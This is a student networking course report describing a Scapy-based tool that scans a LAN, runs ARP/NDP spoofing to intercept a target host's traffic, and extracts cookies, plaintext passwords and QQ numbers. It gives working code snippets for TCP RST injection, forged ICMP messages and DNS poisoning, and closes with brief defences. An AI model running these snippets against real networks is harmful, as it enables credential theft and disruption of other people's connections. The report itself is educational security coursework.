2020-12-26

Network Traffic Monitoring and Anti-Monitoring

Course Project for Computer Networks

By: F5zhangyc

Source Code: https://github.com/F5Soft/NetMonitor

1. Project Overview

Using Python modules such as Scapy, we designed and implemented a network traffic monitoring system that runs on both Windows and Linux. The monitoring system resides on the same LAN as the target host being monitored. The network topology is shown below:

The system implements:

  • LAN scanning: Using ARP requests and ICMP multicast requests to obtain IPv4, IPv6, and MAC addresses of all devices on the current LAN, including the target host and gateway.
  • Packet interception: Performing ARP and NDP spoofing attacks on the target host and LAN gateway to capture packets between the target host and the external network.
  • Deep packet analysis: Displaying packet details, protocol statistics, user profiling, and sensitive information such as QQ accounts, Cookies, and passwords via a visual interface.
  • Network blocking: Matching intercepted packets against IP, domain, and keyword blacklists. Upon detection, the target host can be disconnected using ARP/NDP spoofing, ICMP Unreachable/Redirect attacks, TCP RST attacks, and DNS poisoning.

In response to the ease of stealing sensitive information and launching attacks on a LAN, we propose corresponding anti-monitoring measures to better protect privacy and enable secure communication.

2. LAN Information Gathering

Before monitoring or attacking, the first step is information collection.

2.1 Obtaining Local Network Configuration

To support cross-platform operation, we use the Python netifaces module to retrieve the IP address, subnet mask, default gateway, MAC address, and default interface for each network adapter.

We then compute the network address (CIDR) from the host IP and subnet mask. By sending an ARP request to the default gateway IP, we obtain the gateway’s MAC address.

2.2 IPv4 Scanning

We implemented two scanning methods for IPv4 hosts.

2.2.1 ARP Scanning

Knowing the local network address, we construct ARP request packets with Scapy:

req_list = l2.Ether(dst='ff:ff:ff:ff:ff:ff') / l2.ARP(pdst=net)

We iterate over all IPs in the subnet, broadcast the ARP frame, and record the IP and MAC addresses from valid ARP responses.

2.2.2 ICMP Scanning

In practice, ARP scanning sometimes fails to return all results immediately. Thus, we also implemented ICMP scanning.

According to RFC919, the broadcast address of a network is the network number with all host bits set to 1. We compute the broadcast address and send an ICMP Echo Request to it:

req = inet.IP(dst=multicast_dst) / inet.ICMP()

We extract the source IP and MAC from responses and add them to the scan results.

2.3 IPv6 Scanning

According to RFC4291, the structure of an IPv6 global unicast address is:

bits48 (or more)16 (or fewer)64
fieldrouting prefixsubnet idinterface identifier

The structure of an IPv6 link-local unicast address:

bits105464
fieldprefixzeroesinterface identifier

The suffix is usually 64 bits. Brute-force scanning via Neighbor Solicitation is unrealistic, as it would require sending (2^{64}) packets.

Instead, we use ICMPv6 Echo Request with IPv6 multicast. The address ff02::1 represents all nodes on the local link.

req = inet6.IPv6(dst='ff02::1') / inet6.ICMPv6EchoRequest()

This only returns link-local addresses starting with fe80. Most hosts also have one or more global IPv6 addresses.

Since the Interface Identifier is derived from the device MAC via DHCPv6 and is unique on the LAN, we can reconstruct the global IPv6 address by replacing the 64-bit prefix of the link-local address:

for net6 in self.net6:
    self.rarp_table6[res[l2.Ether].src].add(
        str(ipaddress.IPv6Address((
            int(ipaddress.IPv6Address(res[inet6.IPv6].src)) & \
            0xFFFFFFFFFFFFFFFF) + \
            int(ipaddress.IPv6Address(net6.split('/')[0])))))

However, some routers assign temporary IPv6 addresses, whose last 64 bits are not the interface identifier.

In practice, only the temporary address often responds to ICMPv6 multicast pings. We therefore use a self-learning mechanism: when we capture a packet not sent or received by the local host and not in the known target list, we add its source IPv6 to the target address set.

3. Spoofing Attacks

3.1 ARP Spoofing

When host A communicates with the external network, it sends IP packets through gateway B. To do so, A must learn B’s MAC address via ARP:

  1. A broadcasts an ARP request for B’s IP.
  2. All hosts on the LAN receive the request.
  3. B replies with its IP and MAC.
  4. A caches the mapping.

ARP responses can be easily forged. By continuously sending spoofed ARP replies, we can make A believe that our host C is the gateway.

We construct spoofed ARP responses (op=2):

p = l2.Ether(dst=self.target_mac) / \
    l2.ARP(op=2, psrc=router_ip, pdst=target_ip, hwsrc=self.mac)

Similarly, we spoof the gateway to believe that A’s MAC is ours:

p = l2.Ether(dst=self.router_mac) / \
    l2.ARP(op=2, psrc=target_ip, pdst=router_ip, hwsrc=mac)

To maintain the spoof, we send these packets every 5 seconds by default.

3.2 NDP Spoofing

NDP (Neighbor Discovery Protocol) spoofing (or NA spoofing) is the IPv6 equivalent of ARP spoofing. ICMPv6 replaces ARP, and Neighbor Advertisement (NA) replaces the ARP response.

Differences from IPv4:

  • ICMPv6 is encapsulated in IPv6, so we must forge the source IPv6 address.
  • A host may have multiple IPv6 addresses; we must spoof all pairs of target and gateway IPv6 addresses.

To spoof the target host A:

for target_ip6 in self.target_ip6:
    for router_ip6 in self.router_ip6:
        p = l2.Ether(dst=self.target_mac) / \
            inet6.IPv6(src=router_ip6, dst=target_ip6) / \
            inet6.ICMPv6ND_NA(tgt=router_ip6, R=0) / \
            inet6.ICMPv6NDOptDstLLAddr(lladdr=self.mac)
        sendp(p, verbose=False, iface=self.iface)

The tgt field imitates the gateway IPv6, and lladdr sets our MAC.

To spoof the gateway B:

for target_ip6 in self.target_ip6:
    for router_ip6 in self.router_ip6:
        p = l2.Ether(src=mac, dst=self.router_mac) / \
            inet6.IPv6(src=target_ip6, dst=router_ip6) / \
            inet6.ICMPv6ND_NA(tgt=target_ip6, R=0) / \
            inet6.ICMPv6NDOptDstLLAddr(lladdr=mac)
        sendp(p, verbose=False, iface=self.iface)

3.3 Packet Capture and Filtering

3.3.1 Enabling IP Forwarding

After successful spoofing, we can capture traffic between A and B. To allow normal communication while intercepting, we enable IP forwarding.

On Linux:

echo 1 > /proc/sys/net/ipv4/ip_forward
sudo sysctl -w net.ipv6.conf.all.forwarding=1

On Windows: Set IPEnableRouter to 1 in the registry and start the Routing and Remote Access service.

3.3.2 Disabling ICMP Redirects

On Windows, we must disable ICMP Redirects to avoid breaking spoofing. Set EnableICMPRedirect to 0.

ICMP Redirect tells the host to use a better gateway. During spoofing, this would reveal the real gateway MAC, especially for IPv6.

For IPv6, ICMPv6 Redirect includes the target MAC directly, which would immediately disable spoofing:

We use Windows Firewall to block outbound ICMPv6 Redirects:

3.3.3 Packet Capture

We use Scapy’s AsyncSniffer:

self.sniffer = AsyncSniffer(lfilter=self._filter, iface=self.iface, prn=on_recv)

A filter function _filter is applied, and on_recv processes each captured packet.

3.3.4 Filtering

We filter out:

  • Packets from or to the local host
  • Multicast packets
  • ICMPv6 Neighbor Advertisement messages used in spoofing
  • Duplicate forwarded packets (same payload)
if p[l2.Ether].type == 2048:
    src = p[inet.IP].src
    dst = p[inet.IP].dst
    return not ipaddress.IPv4Address(dst).is_multicast \
           and src not in self.ip and dst not in self.ip
elif p[l2.Ether].type == 34525:
    src = p[inet6.IPv6].src
    dst = p[inet6.IPv6].dst
    return not p.haslayer(inet6.ICMPv6ND_NA) \
           and not ipaddress.IPv6Address(dst).is_multicast \
           and src not in self.ip6 and dst not in self.ip6
return False

We also ignore duplicate forwarded packets:

if p[1].payload == self._prev:
    return
self._prev = p[1].payload

Test Environment

MAC AddressIP Addresses
Target Host Adc:a6:32:af:98:ec192.168.1.107
fe80::a934:9be8:5d6:aeeb
2409:8a34:1a13:d930:a934:9be8:5d6:aeeb
2409:8a34:1a13:d930::1005 (temporary)
Gateway B64:6e:97:0e:81:aa192.168.1.1
fe80::666e:97ff:fe0e:81aa
2409:8a34:1a13:d930:666e:97ff:fe0e:81aa
Host C (Us)94:b8:6d:54:fd:30192.168.1.102
fe80::6da6:4867:20f4:1330
2409:8a34:1a13:d930:6da6:4867:20f4:1330
2409:8a34:1a13:d930::1004 (temporary)

Both IPv4 and IPv6 spoofing work reliably. The system automatically learns temporary IPv6 addresses from captured traffic.

4. Protocol Statistics

We classify packets by protocol layer:

  • Ethernet type:
    • 2048: IPv4
    • 34525: IPv6
  • IPv4 proto / IPv6 nh:
    • 6: TCP
    • 17: UDP
    • 1: ICMP
    • 58: ICMPv6
  • Application layer is identified by port and payload:
    • 80/443: HTTP/HTTPS
    • 23: Telnet
    • 20/21: FTP
    • 53: DNS
    • 8000: OICQ (QQ)

5. Traffic Analysis

We deeply analyze HTTP, DNS, FTP, Telnet, and OICQ traffic to extract:

  • URLs, domains, and IPs
  • Cookies, User-Agent
  • Usernames and passwords
  • QQ numbers
  • Browsing history

5.1 HTTP Analysis

5.1.1 URL Extraction

domain = p[http.HTTPRequest].Host.decode('ascii', 'replace')
url = p[http.HTTPRequest].Host + p[http.HTTPRequest].Path
url = parse.unquote(url.decode('ascii', 'replace'))
if p[http.HTTPRequest].Cookie is not None:
    cookie = p[http.HTTPRequest].Cookie.decode('ascii', 'replace')
    self.add_password('http://' + domain, '[Cookie]', cookie)

5.1.3 User-Agent

if p[http.HTTPRequest].User_Agent is not None:
    self.web_ua = p[http.HTTPRequest].User_Agent.decode('ascii', 'replace')

5.1.4 Form Data (POST)

We parse application/x-www-form-urlencoded and application/json to extract username and password.

5.1.5 Web Content

We scan HTTP response payloads for sensitive keywords.

5.2 FTP Analysis

FTP transmits credentials in plaintext. We capture USER and PASS commands:

username = re.findall('(?i)USER (.*)', raw)
password = re.findall('(?i)PASS (.*)', raw)

5.3 Telnet Analysis

Telnet is also plaintext. We track login prompts and buffer input character by character until Enter.

5.4 DNS Analysis

DNS queries and responses are unencrypted. We build a reverse DNS map from IP to domain:

if p.haslayer(dns.DNSRR) and p[dns.DNSRR].type in [1, 28]:
    ip = p[dns.DNSRR].rdata
    self.dns_map[ip] = domain

5.5 OICQ (QQ) Analysis

QQ uses port 8000. The QQ number is encoded in bytes 8–11 of the plaintext UDP payload:

raw = bytes(p[inet.UDP].payload)
if raw[0] != b'\x02':
    return
qq = str(int.from_bytes(raw[7:11], 'big', signed=False))

6. Man-in-the-Middle Attacks

When blacklisted IPs, domains, or keywords are detected, the system launches attacks to disconnect the target host.

6.1 ARP/NDP Spoofing (Hard Block)

Similar to Section 3, but we spoof a non-existent MAC to the gateway, so return traffic is dropped.

6.2 ICMP Unreachable Attack

We immediately send a spoofed Destination Unreachable packet to the target:

exp = inet.IP(src=p[inet.IP].dst, dst=p[inet.IP].src) / inet.ICMP(type=3, code=1) / p[inet.IP]

For IPv6:

exp = inet6.IPv6(src=p[inet6.IPv6].dst, dst=p[inet6.IPv6].src) / inet6.ICMPv6DestUnreach() / p[inet6.IPv6]

6.3 ICMP Redirect Attack

We send a spoofed ICMP Redirect pointing to an invalid gateway (e.g., loopback):

exp = inet.IP(src=p[inet.IP].dst, dst=p[inet.IP].src) / inet.ICMP(type=5, code=1, gw='127.0.0.1') / p[inet.IP]

6.4 TCP RST Attack

We forge TCP RST segments to immediately tear down connections:

seq = p[inet.TCP].seq + len(p[inet.TCP].payload)
ack = p[inet.TCP].ack
exp1 = inet.IP(src=src, dst=dst) / inet.TCP(sport=sport, dport=dport, seq=seq, window=0, flags=4)
exp2 = inet.IP(src=dst, dst=src) / inet.TCP(sport=dport, dport=sport, seq=ack, window=0, flags=4)

This works even for encrypted TLS/SSH traffic.

6.5 DNS Poisoning

We forge DNS responses to redirect domains to localhost:

  • A records → 127.0.0.1
  • AAAA records → ::1
exp = inet.IP(dst=p[inet.IP].src, src=p[inet.IP].dst) / \
      inet.UDP(dport=p[inet.UDP].sport, sport=p[inet.UDP].dport) / \
      dns.DNS(id=p[dns.DNS].id, qd=p[dns.DNS].qd, aa=1, qr=1,
              an=dns.DNSRR(rrname=p[dns.DNS].qd.qname, ttl=10, rdata='127.0.0.1'))

7. Visualization

A web-based dashboard displays real-time monitoring results. It includes 5 pages:

7.1 Home

http://127.0.0.1/

  • LAN info, scanning results, monitoring configuration

7.2 Protocol Statistics

http://127.0.0.1/stats/

  • Real-time per-protocol packet counts

7.3 Packet Information

http://127.0.0.1/packets/

  • Latest 100 packets

7.4 Blocking Rules

http://127.0.0.1/ban/

  • IP/domain/keyword blacklists
  • Attack methods selection
  • Network status

7.5 User Information

http://127.0.0.1/user/

  • Browser info, QQ number, frequent domains, credentials, cookies

8. Anti-Monitoring Measures

Our goal is to defend against such attacks, not just perform them. LAN attacks are cheap and widely effective against home/public Wi-Fi.

8.1 IP–MAC Binding

Many routers support static IP–MAC bindings to defeat ARP spoofing. However, many do not support IPv6 binding, leaving NDP spoofing possible.

8.2 Use Secure Protocols

  • HTTPS, TLS, SSH
  • VPNs or encrypted proxies
    • Encrypts payload
    • Hides real destination IP
    • Bypasses IP/domain/keyword blocking

8.3 Safe Browsing Habits

Always check SSL/TLS certificates. Do not proceed when a certificate error appears — it may indicate a MITM attack.

9. References

[1] Scapy Documentation:https://scapy.readthedocs.io/

[2] Python – How to create an ARP Spoofer using Scapy:https://www.geeksforgeeks.org/python-how-to-create-an-arp-spoofer-using-scapy/

[3] IPv6 Neighbour Spoofing:https://packetlife.net/blog/2009/feb/2/ipv6-neighbor-spoofing/

[4] Multicast Addresses:https://en.wikipedia.org/wiki/Multicast_address

[5] RFC919:https://tools.ietf.org/html/rfc919

[6] RFC4291:https://tools.ietf.org/html/rfc4291

[7] IANA ICMP Parameters:https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml

[8] IANA ICMPv6 Parameters:https://www.iana.org/assignments/icmpv6-parameters/icmpv6-parameters.xhtml

[9] Build an FTP Password Sniffer with Scapy and Python:https://null-byte.wonderhowto.com/how-to/build-ftp-password-sniffer-with-scapy-and-python-0169759/

[10] TCP Reset Attack:https://gist.github.com/spinpx/263a2ed86f974a55d35cf6c3a2541dc2